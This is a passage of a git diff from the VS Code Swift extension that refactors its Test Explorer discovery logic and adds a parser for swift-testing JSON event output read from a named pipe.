tests within it`, + "Test Explorer" + ); + return; + } + + this.logger.info(`Getting tests for ${uri.toString()}`, "Test Explorer"); + try { + const tests = await this.lspTestDiscovery.getDocumentTests(folder.swiftPackage, uri); + this.logger.info( + `LSP test discovery found ${tests.length} top level tests`, + "Test Explorer" + ); + TestDiscovery.updateTestsForTarget( + this.controller, + { id: target.c99name, label: target.name }, + tests, + uri + ); + this.logger.info( + `Emitting test item change after LSP test discovery for ${uri.toString()}`, + "Test Explorer" + ); + this.onTestItemsDidChangeEmitter.fire(this.controller); + } catch (error) { + this.logger.error( + `Error occurred during LSP test discovery for ${uri.toString()}: ${error}`, + "Test Explorer" + ); + // Fallback to parsing document symbols for XCTests only + const tests = parseTestsFromDocumentSymbols(target.name, symbols, uri); + this.logger.info( + `Parsed ${tests.length} top level tests from document symbols from ${uri.toString()}`, + "Test Explorer" + ); + this.updateTests(this.controller, tests, uri); + } + } + + public dispose() { + this.tokenSource.cancel(); + this.subscriptions.forEach(element => element.dispose()); + this.subscriptions = []; + } + + /** + * Creates an LSPTestDiscovery client for the given folder context. + */ + private configureLSPTestDiscovery(folderContext: FolderContext): LSPTestDiscovery { + return new LSPTestDiscovery(folderContext.languageClientManager); + } - constructor(public folderContext: FolderContext) { - this.controller = vscode.tests.createTestController( + /** + * Creates a test controller for the given folder context. + */ + private createController(folderContext: FolderContext) { + const controller = vscode.tests.createTestController( folderContext.name, `${folderContext.name} Tests` ); - this.controller.resolveHandler = async item => { + controller.resolveHandler = async item => { if (!item) { - await this.discoverTestsInWorkspace(); - } else { - // + await this.discoverTestsInWorkspace(this.tokenSource.token); } }; - TestRunner.setupProfiles(this.controller, this.folderContext); + return controller; + } - // add end of task handler to be called whenever a build task has finished. If - // it is the build task for this folder then update the tests - const onDidEndTask = folderContext.workspaceContext.tasks.onDidEndTaskProcess(event => { + /** + * Configure test discovery for updated tests after a build task has completed. + */ + private discoverUpdatedTestsAfterBuild(folderContext: FolderContext): vscode.Disposable { + let testFileEdited = true; + const endProcessDisposable = this.tasks.onDidEndTaskProcess(event => { const task = event.execution.task; - const execution = task.execution as vscode.ShellExecution; + const execution = task.execution as vscode.ProcessExecution; if ( - task.scope === this.folderContext.workspaceFolder && + task.scope === folderContext.workspaceFolder && task.group === vscode.TaskGroup.Build && - execution?.options?.cwd === this.folderContext.folder.fsPath && - event.exitCode === 0 + execution?.options?.cwd === folderContext.folder.fsPath && + event.exitCode === 0 && + task.definition.dontTriggerTestDiscovery !== true && + testFileEdited ) { - this.discoverTestsInWorkspace(); + testFileEdited = false; + + // only run discover tests if the library has tests + void folderContext.swiftPackage.getTargets(TargetType.test).then(targets => { + if (targets.length > 0) { + void this.discoverTestsInWorkspace(this.tokenSource.token); + } + }); } }); - this.subscriptions = [onDidEndTask, this.controller]; - } + // add file watcher to catch changes to swift test files + const didChangeSwiftFileDisposable = this.onDidChangeSwiftFiles(({ uri }) => { + if (testFileEdited === false) { + void folderContext.getTestTarget(uri).then(target => { + if (target) { + testFileEdited = true; + } + }); + } + }); - dispose() { - this.subscriptions.forEach(element => element.dispose()); + return compositeDisposable(endProcessDisposable, didChangeSwiftFileDisposable); } /** @@ -70,147 +217,266 @@ export class TestExplorer { * @param workspaceContext Workspace context for extension * @returns Observer disposable */ - static observeFolders(workspaceContext: WorkspaceContext): vscode.Disposable { - return workspaceContext.observeFolders((folder, event, workspace) => { - switch (event) { - case FolderEvent.add: - folder?.addTestExplorer(); - folder?.testExplorer?.discoverTestsInWorkspace(); - break; - case FolderEvent.focus: + public static observeFolders(workspaceContext: WorkspaceContext): vscode.Disposable { + const tokenSource = new vscode.CancellationTokenSource(); + const disposable = workspaceContext.onDidChangeFolders(({ folder, operation }) => { + switch (operation) { + case FolderOperation.add: + case FolderOperation.packageUpdated: if (folder) { - workspace.languageClientManager.documentSymbolWatcher = ( - document, - symbols - ) => TestExplorer.onDocumentSymbols(folder, document, symbols); + void this.setupTestExplorerForFolder(folder, tokenSource.token); } + break; } }); + return compositeDisposable(tokenSource, disposable); } - /** Called whenever we have new document symbols */ - private static onDocumentSymbols( + /** + * Configures a test explorer for the given folder. + * If the folder has test targets, and there is no existing test explorer, + * it will create a test explorer and discover tests. + * If the folder has no test targets, it will remove any existing test explorer. + * If the folder has test targets and an existing test explorer, it will refresh the tests. + */ + private static async setupTestExplorerForFolder( folder: FolderContext, - document: vscode.TextDocument, - symbols: vscode.DocumentSymbol[] | null | undefined + token: vscode.CancellationToken ) { - const uri = document?.uri; - const testExplorer = folder?.testExplorer; - if (testExplorer && symbols && uri && uri.scheme === "file") { - if (isPathInsidePath(uri.fsPath, folder.folder.fsPath)) { - if (testExplorer.lspFunctionParser?.uri === uri) { - testExplorer.lspFunctionParser.updateTestItems(symbols); - } else { - testExplorer.lspFunctionParser = new LSPTestDiscovery( - uri, - folder, - testExplorer.controller - ); - testExplorer.lspFunctionParser.updateTestItems(symbols); - } + const targets = await folder.swiftPackage.getTargets(TargetType.test); + const hasTestTargets = targets.length > 0; + if (hasTestTargets && !folder.hasTestExplorer()) { + const testExplorer = folder.addTestExplorer(); + if ( + configuration.folder(folder.workspaceFolder).disableAutoResolve && + process.platform === "win32" && + folder.swiftVersion.isLessThan(new Version(5, 10, 0)) + ) { + // On Windows 5.9 and earlier discoverTestsInWorkspace kicks off a build, + // which will perform a resolve. + return; } + await testExplorer.discoverTestsInWorkspace(token); + } else if (hasTestTargets && folder.hasTestExplorer()) { + await folder.refreshTestExplorer(); + } else if (!hasTestTargets && folder.hasTestExplorer()) { + folder.removeTestExplorer(); } } + /** + * Sets the `swift.tests` context variable which is used by commands + * to determine if the test item belongs to the Swift extension. + */ + private updateSwiftTestContext() { + const items = flattenTestItemCollection(this.controller.items).map(({ id }) => id); + void vscode.commands.executeCommand("setContext", "swift.tests", items).then(() => { + /* Put in worker queue */ + }); + } + + private updateTests( + controller: vscode.TestController, + tests: TestDiscovery.TestClass[], + uri?: vscode.Uri + ) { + this.logger.debug("Updating tests in test explorer", "Test Discovery"); + TestDiscovery.updateTests(controller, tests, uri); + this.onTestItemsDidChangeEmitter.fire(controller); + } + /** * Discover tests - * Uses `swift test --list-tests` to get the list of tests */ - async discoverTestsInWorkspace() { + private async discoverTestsInWorkspace(token: vscode.CancellationToken) { try { - // get list of tests from `swift test --list-tests` - const { stdout } = await execSwift( - ["test", "--skip-build", "--list-tests"], - { - cwd: this.folderContext.folder.fsPath, - }, - this.folderContext + // If the LSP cannot produce a list of tests it throws and + // we fall back to discovering tests with SPM. + await this.discoverTestsInWorkspaceLSP(token); + } catch { + this.logger.debug( + "workspace/tests LSP request not supported, falling back to SPM to discover tests.", + "Test Discovery" ); + await this.discoverTestsInWorkspaceSPM(token); + } + } - // if we got to this point we can get rid of any error test item - this.deleteErrorTestItem(); + /** + * Discover tests + * Uses `swift test --list-tests` to get the list of tests + */ + private async discoverTestsInWorkspaceSPM(token: vscode.CancellationToken) { + const runDiscover = async (explorer: TestExplorer, firstTry: boolean) => { + try { + // we depend on sourcekit-lsp to detect swift-testing tests so let the user know + // that things won't work properly if sourcekit-lsp has been disabled for some reason + // and provide an option to enable sourcekit-lsp again + const ok = "OK"; + const enable = "Enable SourceKit-LSP"; + if (firstTry && configuration.lsp.disable === true) { + void vscode.window + .showInformationMessage( + `swift-testing tests will not be detected since SourceKit-LSP + has been disabled for this workspace.`, + enable, + ok + ) + .then(selected => { + if (selected === enable) { + this.logger.info( + `Enabling SourceKit-LSP after swift-testing message` + ); + void vscode.workspace + .getConfiguration("swift") + .update("sourcekit-lsp.disable", false) + .then(() => { + /* Put in worker queue */ + }); + } else if (selected === ok) { + this.logger.info( + `User acknowledged that SourceKit-LSP is disabled` + ); + } + }); + } + const toolchain = explorer.folderContext.toolchain; - // extract tests from `swift test --list-tests` output - const results = stdout.match(/^.*\.[a-zA-Z0-9_]*\/[a-zA-Z0-9_]*$/gm); - if (!results) { - return; - } + // get build options before build is run so we can be sure they aren't changed + // mid-build + const testBuildOptions = buildOptions(toolchain); - // remove TestItems that aren't in either the swift test output or the LSP symbol list - this.controller.items.forEach(targetItem => { - targetItem.children.forEach(classItem => { - classItem.children.forEach(funcItem => { - const testName = `${targetItem.label}.${classItem.label}/${funcItem.label}`; - if ( - !results.find(item => item === testName) && - !this.lspFunctionParser?.includesFunction( - targetItem.label, - classItem.label, - funcItem.label - ) - ) { - classItem.children.delete(funcItem.id); - } - }); - // delete class if it is empty - if (classItem.children.size === 0) { - targetItem.children.delete(classItem.id); + // normally we wouldn't run the build here, but you can suspend swiftPM on macOS + // if you try and list tests while skipping the build if you are using a different + // sanitizer settings + if (process.platform === "darwin" && configuration.sanitizer !== "off") { + const task = await getBuildAllTask(explorer.folderContext); + task.definition.dontTriggerTestDiscovery = true; + const exitCode = await explorer.folderContext.taskQueue.queueOperation( + new TaskOperation(task) + ); + if (exitCode === undefined || exitCode !== 0) { + explorer.setErrorTestItem("Build the project to enable test discovery."); + return; } - }); - }); + } - for (const result of results) { - // Regex "./" - const groups = /^([\w\d_]*)\.([\w\d_]*)\/([\w\d_]*)/.exec(result); - if (!groups) { - continue; + if (token.isCancellationRequested) { + return; } - let targetItem = this.controller.items.get(groups[1]); - if (!targetItem) { - targetItem = this.controller.createTestItem(groups[1], groups[1]); - this.controller.items.add(targetItem); + + // get list of tests from `swift test --list-tests` + let listTestArguments: string[]; + if (toolchain.swiftVersion.isGreaterThanOrEqual(new Version(5, 8, 0))) { + listTestArguments = ["test", "list", "--skip-build"]; + } else { + listTestArguments = ["test", "--list-tests", "--skip-build"]; } - let classItem = targetItem.children.get(`${groups[1]}.${groups[2]}`); - if (!classItem) { - classItem = this.controller.createTestItem( - `${groups[1]}.${groups[2]}`, - groups[2] + listTestArguments = [...listTestArguments, ...testBuildOptions]; + const listTestsOperation = new SwiftExecOperation( + listTestArguments, + explorer.folderContext, + "Listing Tests", + { showStatusItem: true, checkAlreadyRunning: false, log: "Listing tests" }, + stdout => { + // if we got to this point we can get rid of any error test item + explorer.deleteErrorTestItem(); + + const tests = parseTestsFromSwiftTestListOutput(stdout); + this.logger.debug( + `Discovered ${tests.length} top level tests via 'swift test --list-tests', updating test explorer`, + "Test Discovery" + ); + explorer.updateTests(explorer.controller, tests); + } + ); + await explorer.folderContext.taskQueue.queueOperation(listTestsOperation, token); + } catch (error) { + // If a test list fails its possible the tests have not been built. + // Build them and try again, and if we still fail then notify the user. + if (firstTry) { + const backgroundTask = await getBuildAllTask(explorer.folderContext); + if (!backgroundTask) { + return; + } + + try { + await explorer.folderContext.taskQueue.queueOperation( + new TaskOperation(backgroundTask) + ); + } catch { + // can ignore if running task fails + } + + // Retry test discovery after performing a build. + await runDiscover(explorer, false); + } else { + const errorDescription = getErrorDescription(error); + if ( + (process.platform === "darwin" && + errorDescription.match(/error: unableToLoadBundle/)) || + (process.platform === "win32" && + errorDescription.match(/The file doesn’t exist./)) || + (!["darwin", "win32"].includes(process.platform) && + errorDescription.match(/No such file or directory/)) + ) { + explorer.setErrorTestItem("Build the project to enable test discovery."); + } else if (errorDescription.startsWith("error: no tests found")) { + explorer.setErrorTestItem( + "Add a test target to your Package.", + "No Tests Found." + ); + } else { + explorer.setErrorTestItem(errorDescription); + } + this.logger.error( + `Test Discovery Failed: ${errorDescription}`, + explorer.folderContext.name ); - targetItem.children.add(classItem); } - const item = this.controller.createTestItem(result, groups[3]); - classItem.children.add(item); } + }; + await runDiscover(this, true); + } - // add items to target test item as the setActive call above may not have done this - // because the test target item did not exist when it was called - this.lspFunctionParser?.addTestItems(); - } catch (error) { - const errorDescription = getErrorDescription(error); - if ( - (process.platform === "darwin" && - errorDescription.match(/error: unableToLoadBundle/)) || - (process.platform === "win32" && - errorDescription.match(/The file doesn’t exist./)) || - (!["darwin", "win32"].includes(process.platform) && - errorDescription.match(/No such file or directory/)) - ) { - this.setErrorTestItem("Build the project to enable test discovery."); - } else if (errorDescription.startsWith("error: no tests found")) { - this.setErrorTestItem("Add a test target to your Package.", "No Tests Found."); - } else { - this.setErrorTestItem(errorDescription); - } - this.folderContext.workspaceContext.outputChannel.log( - `Test Discovery Failed: ${errorDescription}`, - this.folderContext.name - ); + /** + * Discover tests + */ + private async discoverTestsInWorkspaceLSP(token: vscode.CancellationToken) { + this.logger.debug("Discovering tests in workspace via LSP", "Test Discovery"); + + const tests = await this.lspTestDiscovery.getWorkspaceTests( + this.folderContext.swiftPackage + ); + + if (token.isCancellationRequested) { + this.logger.info("Test discovery cancelled", "Test Discovery"); + return; } + + this.logger.debug( + `Discovered ${tests.length} top level tests, updating test explorer`, + "Test Discovery" + ); + + await TestDiscovery.updateTestsFromClasses( + this.controller, + this.folderContext.swiftPackage, + tests + ); + + this.logger.debug( + "Emitting test item change after LSP workspace test discovery", + "Test Discovery" + ); + + this.onTestItemsDidChangeEmitter.fire(this.controller); } /** Delete TestItem with error id */ private deleteErrorTestItem() { this.controller.items.delete(TestExplorer.errorTestItemId); + this.onTestItemsDidChangeEmitter.fire(this.controller); } /** @@ -218,6 +484,7 @@ export class TestExplorer { * @param errorDescription Error description to display */ private setErrorTestItem(errorDescription: string | undefined, title = "Test Discovery Error") { + this.logger.error(`Test Discovery Error: ${errorDescription}`); this.controller.items.forEach(item => { this.controller.items.delete(item.id); }); @@ -226,5 +493,6 @@ export class TestExplorer { errorItem.error = errorDescription; this.controller.items.add(errorItem); } + this.onTestItemsDidChangeEmitter.fire(this.controller); } } diff --git a/src/TestExplorer/TestKind.ts b/src/TestExplorer/TestKind.ts new file mode 100644 index 000000000..f51beaf0f --- /dev/null +++ b/src/TestExplorer/TestKind.ts @@ -0,0 +1,37 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +/** Workspace Folder events */ +export enum TestKind { + // run tests serially + standard = "Run Tests", + // run tests in parallel + parallel = "Run Tests (Parallel)", + // run tests and extract test coverage + coverage = "Run With Test Coverage", + // run tests with the debugger + debug = "Debug Tests", + // run tests compiled in release mode + release = "Run Tests (Release Mode)", + // run tests compiled in release mode with debugger + debugRelease = "Debug Tests (Release Mode)", +} + +export function isDebugging(testKind: TestKind): boolean { + return testKind === TestKind.debug || testKind === TestKind.debugRelease; +} + +export function isRelease(testKind: TestKind): boolean { + return testKind === TestKind.release || testKind === TestKind.debugRelease; +} diff --git a/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts b/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts new file mode 100644 index 000000000..381bd3ad0 --- /dev/null +++ b/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts @@ -0,0 +1,675 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { exec } from "child_process"; +import * as readline from "readline"; +import { Readable } from "stream"; +import * as vscode from "vscode"; + +import { lineBreakRegex } from "../../utilities/tasks"; +import { colorize, sourceLocationToVSCodeLocation } from "../../utilities/utilities"; +import { TestClass } from "../TestDiscovery"; +import { + INamedPipeReader, + UnixNamedPipeReader, + WindowsNamedPipeReader, +} from "./TestEventStreamReader"; +import { ITestRunState } from "./TestRunState"; + +// All events produced by a swift-testing run will be one of these three types. +// Detailed information about swift-testing's JSON schema is available here: +// https://github.com/apple/swift-testing/blob/main/Documentation/ABI/JSON.md +export type SwiftTestEvent = MetadataRecord | TestRecord | EventRecord; + +interface VersionedRecord { + version: number; +} + +interface MetadataRecord extends VersionedRecord { + kind: "metadata"; + payload: Metadata; +} + +interface TestRecord extends VersionedRecord { + kind: "test"; + payload: TestSuite | TestFunction; +} + +export type EventRecordPayload = + | RunStarted + | TestStarted + | TestEnded + | TestCaseStarted + | TestCaseEnded + | IssueRecorded + | TestSkipped + | RunEnded + | ValueAttached; + +export interface EventRecord extends VersionedRecord { + kind: "event"; + payload: EventRecordPayload; +} + +interface Metadata { + [key: string]: object; // Currently unstructured content +} + +interface TestBase { + id: string; + name: string; + _testCases?: TestCase[]; + sourceLocation: SourceLocation; +} + +interface TestSuite extends TestBase { + kind: "suite"; +} + +interface TestFunction extends TestBase { + kind: "function"; + isParameterized: boolean; +} + +type ParameterizedTestRecord = TestRecord & { + payload: { + kind: "function"; + isParameterized: true; + _testCases: TestCase[]; + }; +}; + +export interface TestCase { + id: string; + displayName: string; +} + +// Event types +interface RunStarted { + kind: "runStarted"; + messages: EventMessage[]; +} + +interface RunEnded { + kind: "runEnded"; + messages: EventMessage[]; +} + +interface ValueAttached { + kind: "_valueAttached"; + _attachment: { + path?: string; + }; + testID: string; + messages: EventMessage[]; +} + +interface Instant { + absolute: number; + since1970: number; +} + +interface BaseEvent { + instant: Instant; + messages: EventMessage[]; + testID: string; +} + +interface TestCaseEvent { + sourceLocation: SourceLocation; + _testCase?: TestCase; +} + +interface TestStarted extends BaseEvent { + kind: "testStarted"; +} + +interface TestEnded extends BaseEvent { + kind: "testEnded"; +} + +interface TestCaseStarted extends BaseEvent, TestCaseEvent { + kind: "testCaseStarted"; +} + +interface TestCaseEnded extends BaseEvent, TestCaseEvent { + kind: "testCaseEnded"; +} + +interface TestSkipped extends BaseEvent { + kind: "testSkipped"; +} + +interface IssueRecorded extends BaseEvent, TestCaseEvent { + kind: "issueRecorded"; + issue: { + isKnown: boolean; + sourceLocation: SourceLocation; + isFailure?: boolean; + severity?: string; + }; +} + +export enum TestSymbol { + default = "default", + skip = "skip", + passWithKnownIssue = "passWithKnownIssue", + passWithWarnings = "passWithWarnings", + fail = "fail", + pass = "pass", + difference = "difference", + warning = "warning", + details = "details", + attachment = "attachment", + none = "none", +} + +export interface EventMessage { + symbol: TestSymbol; + text: string; +} + +export interface SourceLocation { + _filePath: string; + line: number; + column: number; +} + +export class SwiftTestingOutputParser { + private completionMap = new Map(); + private testCaseMap = new Map>(); + private path?: string; + + constructor( + public testRunStarted: () => void, + public addParameterizedTestCase: (testClass: TestClass, parentIndex: number) => void, + public onAttachment: (testIndex: number, path: string) => void + ) {} + + /** + * Watches for test events on the named pipe at the supplied path. + * As events are read they are parsed and recorded in the test run state. + */ + public async watch( + path: string, + runState: ITestRunState, + pipeReader?: INamedPipeReader + ): Promise { + this.path = path; + + // Creates a reader based on the platform unless being provided in a test context. + const reader = pipeReader ?? this.createReader(path); + const readlinePipe = new Readable({ + read() {}, + }); + + // Use readline to automatically chunk the data into lines, + // and then take each line and parse it as JSON. + const rl = readline.createInterface({ + input: readlinePipe, + crlfDelay: Infinity, + }); + + rl.on("line", line => this.parse(JSON.parse(line), runState)); + + void reader.start(readlinePipe); + } + + /** + * Closes the FIFO pipe after a test run. This must be called at the + * end of a run regardless of the run's success or failure. + */ + public async close() { + if (!this.path) { + return; + } + + await new Promise(resolve => { + exec(`echo '{}' > ${this.path}`, () => { + resolve(); + }); + }); + } + + /** + * Parses stdout of a test run looking for lines that were not captured by + * a JSON event and injecting them in to the test run output. + * @param chunk A chunk of stdout emitted during a test run. + */ + public parseStdout(chunk: string, runState: ITestRunState) { + for (const line of chunk.split(lineBreakRegex)) { + if (line.trim().length > 0) { + runState.recordOutput(undefined, `${line}\r\n`); + } + } + } + + private createReader(path: string): INamedPipeReader { + return process.platform === "win32" + ? new WindowsNamedPipeReader(path) + : new UnixNamedPipeReader(path); + } + + private parse(item: SwiftTestEvent, runState: ITestRunState) { + switch (item.kind) { + case "test": + this.handleTestEvent(item, runState); + break; + case "event": + this.handleEventRecord(item.payload, runState); + break; + } + } + + private handleTestEvent(item: TestRecord, runState: ITestRunState) { + if (this.isParameterizedFunction(item)) { + this.handleParameterizedFunction(item, runState); + } + } + + private handleEventRecord(payload: EventRecordPayload, runState: ITestRunState) { + switch (payload.kind) { + case "runStarted": + this.handleRunStarted(); + break; + case "testStarted": + this.handleTestStarted(payload, runState); + break; + case "testCaseStarted": + this.handleTestCaseStarted(payload, runState); + break; + case "testSkipped": + this.handleTestSkipped(payload, runState); + break; + case "issueRecorded": + this.handleIssueRecorded(payload, runState); + break; + case "testEnded": + this.handleTestEnded(payload, runState); + break; + case "testCaseEnded": + this.handleTestCaseEnded(payload, runState); + break; + case "_valueAttached": + this.handleValueAttached(payload, runState); + break; + } + } + + private isParameterizedFunction(item: TestRecord): item is ParameterizedTestRecord { + return ( + item.kind === "test" && + item.payload.kind === "function" && + item.payload.isParameterized && + !!item.payload._testCases + ); + } + + private handleParameterizedFunction(item: ParameterizedTestRecord, runState: ITestRunState) { + // Store a map of [Test ID, [Test Case ID, TestCase]] so we can quickly + // map an event.payload.testID back to a test case. + this.buildTestCaseMapForParameterizedTest(item); + + const testIndex = this.testItemIndexFromTestID(item.payload.id, runState); + // If a test has test cases it is paramterized and we need to notify + // the caller that the TestClass should be added to the vscode.TestRun + // before it starts. + item.payload._testCases + .map((testCase, index) => + this.parameterizedFunctionTestCaseToTestClass( + item.payload.id, + testCase, + sourceLocationToVSCodeLocation( + item.payload.sourceLocation._filePath, + item.payload.sourceLocation.line, + item.payload.sourceLocation.column + ), + index + ) + ) + .flatMap(testClass => (testClass ? [testClass] : [])) + .forEach(testClass => this.addParameterizedTestCase(testClass, testIndex)); + } + + private handleRunStarted() { + // Notify the runner that we've received all the test cases and + // are going to start running tests now. + this.testRunStarted(); + } + + private handleTestStarted(payload: TestStarted, runState: ITestRunState) { + const testIndex = this.testItemIndexFromTestID(payload.testID, runState); + runState.started(testIndex, payload.instant.absolute); + } + + private handleTestCaseStarted(payload: TestCaseStarted, runState: ITestRunState) { + const testID = this.idFromOptionalTestCase(payload.testID, payload._testCase); + const testIndex = this.getTestCaseIndex(runState, testID); + runState.started(testIndex, payload.instant.absolute); + } + + private handleTestSkipped(payload: TestSkipped, runState: ITestRunState) { + const testIndex = this.testItemIndexFromTestID(payload.testID, runState); + runState.skipped(testIndex); + } + + private handleIssueRecorded(payload: IssueRecorded, runState: ITestRunState) { + const testID = this.idFromOptionalTestCase(payload.testID, payload._testCase); + const testIndex = this.getTestCaseIndex(runState, testID); + const { isKnown, sourceLocation } = payload.issue; + const location = sourceLocationToVSCodeLocation( + sourceLocation._filePath, + sourceLocation.line, + sourceLocation.column + ); + + const messages = this.transformIssueMessageSymbols(payload.messages); + const { issues, details } = this.partitionIssueMessages(messages); + + // Order the details after the issue text. + const additionalDetails = details + .map(message => MessageRenderer.render(message)) + .join("\n"); + + if (payload.issue.isFailure === false && !payload.issue.isKnown) { + return; + } + + issues.forEach(message => { + runState.recordIssue( + testIndex, + additionalDetails.length > 0 + ? `${MessageRenderer.render(message)}\n${additionalDetails}` + : MessageRenderer.render(message), + isKnown, + location + ); + }); + + if (payload._testCase && testID !== payload.testID) { + const testIndex = this.getTestCaseIndex(runState, payload.testID); + messages.forEach(message => { + runState.recordIssue(testIndex, message.text, isKnown, location); + }); + } + } + + private handleTestEnded(payload: TestEnded, runState: ITestRunState) { + const testIndex = this.testItemIndexFromTestID(payload.testID, runState); + + // When running a single test the testEnded and testCaseEnded events + // have the same ID, and so we'd end the same test twice. + if (this.checkTestCompleted(testIndex)) { + return; + } + runState.completed(testIndex, { timestamp: payload.instant.absolute }); + } + + private handleTestCaseEnded(payload: TestCaseEnded, runState: ITestRunState) { + const testID = this.idFromOptionalTestCase(payload.testID, payload._testCase); + const testIndex = this.getTestCaseIndex(runState, testID); + + // When running a single test the testEnded and testCaseEnded events + // have the same ID, and so we'd end the same test twice. + if (this.checkTestCompleted(testIndex)) { + return; + } + runState.completed(testIndex, { timestamp: payload.instant.absolute }); + } + + private handleValueAttached(payload: ValueAttached, runState: ITestRunState) { + if (!payload._attachment.path) { + return; + } + const testID = this.idFromOptionalTestCase(payload.testID); + const testIndex = this.getTestCaseIndex(runState, testID); + + this.onAttachment(testIndex, payload._attachment.path); + } + + private checkTestCompleted(testIndex: number): boolean { + // If the test has already been completed, we don't need to do anything. + if (this.completionMap.get(testIndex)) { + return true; + } + this.completionMap.set(testIndex, true); + return false; + } + + private testName(id: string): string { + const nameMatcher = /^(.*\(.*\))\/(.*)\.swift:\d+:\d+$/; + const matches = id.match(nameMatcher); + return !matches ? id : matches[1]; + } + + private testCaseId(testId: string, testCaseId: string): string { + const testCase = this.testCaseMap.get(testId)?.get(testCaseId); + return testCase ? `${testId}/${this.idFromTestCase(testCase)}` : testId; + } + + // Test cases do not have a unique ID if their arguments are not serializable + // with Codable. If they aren't, their id appears as `argumentIDs: nil`, and we + // fall back to using the testCase display name as the test case ID. This isn't + // ideal because its possible to have multiple test cases with the same display name, + // but until we have a better solution for identifying test cases it will have to do. + // SEE: rdar://119522099. + private idFromTestCase(testCase: TestCase): string { + return testCase.id === "argumentIDs: nil" ? testCase.displayName : testCase.id; + } + + private idFromOptionalTestCase(testID: string, testCase?: TestCase): string { + return testCase + ? this.testCaseId(testID, this.idFromTestCase(testCase)) + : this.testName(testID); + } + + private parameterizedFunctionTestCaseToTestClass( + testId: string, + testCase: TestCase, + location: vscode.Location, + index: number + ): TestClass { + return { + id: this.testCaseId(testId, this.idFromTestCase(testCase)), + label: testCase.displayName, + tags: [], + children: [], + style: "swift-testing", + location: location, + disabled: true, + sortText: `${index}`.padStart(8, "0"), + }; + } + + private buildTestCaseMapForParameterizedTest(record: TestRecord) { + const map = new Map(); + (record.payload._testCases ?? []).forEach(testCase => { + map.set(this.idFromTestCase(testCase), testCase); + }); + this.testCaseMap.set(record.payload.id, map); + } + + private getTestCaseIndex(runState: ITestRunState, testID: string): number { + const fullNameIndex = runState.getTestItemIndex(testID, undefined); + if (fullNameIndex === -1) { + return runState.getTestItemIndex(this.testName(testID), undefined); + } + return fullNameIndex; + } + + /** + * Partitions a collection of messages in to issues and details about the issues. + * This is used to print the issues first, followed by the details. + */ + private partitionIssueMessages(messages: EventMessage[]): { + issues: EventMessage[]; + details: EventMessage[]; + } { + return messages.reduce( + (buckets, message) => { + const key = + message.symbol === "details" || + message.symbol === "default" || + message.symbol === "none" + ? "details" + : "issues"; + return { ...buckets, [key]: [...buckets[key], message] }; + }, + { + issues: [], + details: [], + } + ); + } + + /* + * A multi line comment preceeding an issue will have a 'default' symbol for + * all lines except the first one. To match the swift-testing command line we + * should show no symbol on these lines. + */ + private transformIssueMessageSymbols(messages: EventMessage[]): EventMessage[] { + return messages.map(message => ({ + ...message, + symbol: message.symbol === "default" ? TestSymbol.none : message.symbol, + })); + } + + private testItemIndexFromTestID(testID: string, runState: ITestRunState): number { + const testName = this.testName(testID); + const id = runState.getTestItemIndex(testName, undefined); + if (id === -1) { + return runState.getTestItemIndex(testID, undefined); + } + return id; + } +} + +export class MessageRenderer { + /** + * Converts a swift-testing `EventMessage` to a printable string. + * + * @param message An event message, typically found on an `EventRecordPayload`. + * @returns A string representing the message. + */ + static render(message: EventMessage): string { + return message.text; + + // Currently VS Code doesn't support colorizing the output of issues + // shown inline in the editor. Until this is supported we just return + // the message text. Once it is supported we can use the following code: + // return `${SymbolRenderer.eventMessageSymbol(message.symbol)} ${MessageRenderer.colorize(message.symbol, message.text)}`; + } + + private static colorize(symbolType: TestSymbol, message: string): string { + const ansiEscapeCodePrefix = "\u{001B}["; + const resetANSIEscapeCode = `${ansiEscapeCodePrefix}0m`; + switch (symbolType) { + case TestSymbol.details: + case TestSymbol.skip: + case TestSymbol.difference: + case TestSymbol.passWithKnownIssue: + return `${ansiEscapeCodePrefix}90m${message}${resetANSIEscapeCode}`; + default: + return message; + } + } +} + +export class SymbolRenderer { + /** + * Converts a swift-testing symbol identifier in to a colorized unicode symbol. + * + * @param message An event message, typically found on an `EventRecordPayload`. + * @returns A string colorized with ANSI escape codes. + */ + public static eventMessageSymbol(symbol: TestSymbol): string { + return this.colorize(symbol, this.symbol(symbol)); + } + + static ansiEscapeCodePrefix = "\u{001B}["; + static resetANSIEscapeCode = `${SymbolRenderer.ansiEscapeCodePrefix}0m`; + + // This is adapted from + // https://github.com/apple/swift-testing/blob/786ade71421eb1d8a9c1d99c902cf1c93096e7df/Sources/Testing/Events/Recorder/Event.Symbol.swift#L102 + public static symbol(symbol: TestSymbol): string { + if (process.platform === "win32") { + switch (symbol) { + case TestSymbol.default: + return "\u{25CA}"; // Unicode: LOZENGE + case TestSymbol.skip: + case TestSymbol.passWithKnownIssue: + case TestSymbol.passWithWarnings: + case TestSymbol.fail: + return "\u{279C}"; // Unicode: HEAVY ROUND-TIPPED RIGHTWARDS ARROW + case TestSymbol.pass: + return "\u{221A}"; // Unicode: SQUARE ROOT + case TestSymbol.difference: + return "\u{00B1}"; // Unicode: PLUS-MINUS SIGN + case TestSymbol.warning: + return "\u{25B2}"; // Unicode: BLACK UP-POINTING TRIANGLE + case TestSymbol.details: + return "\u{2192}"; // Unicode: RIGHTWARDS ARROW + case TestSymbol.attachment: + return "\u{2399}"; // Unicode: PRINT SCREEN SYMBOL + case TestSymbol.none: + return ""; + } + } else { + switch (symbol) { + case TestSymbol.default: + return "\u{25C7}"; // Unicode: WHITE DIAMOND + case TestSymbol.skip: + case TestSymbol.passWithKnownIssue: + case TestSymbol.passWithWarnings: + case TestSymbol.fail: + return "\u{279C}"; // Unicode: HEAVY ROUND-TIPPED RIGHTWARDS ARROW + case TestSymbol.pass: + return "\u{2714}"; // Unicode: HEAVY CHECK MARK + case TestSymbol.difference: + return "\u{00B1}"; // Unicode: PLUS-MINUS SIGN + case TestSymbol.warning: + return "\u{26A0}\u{FE0E}"; // 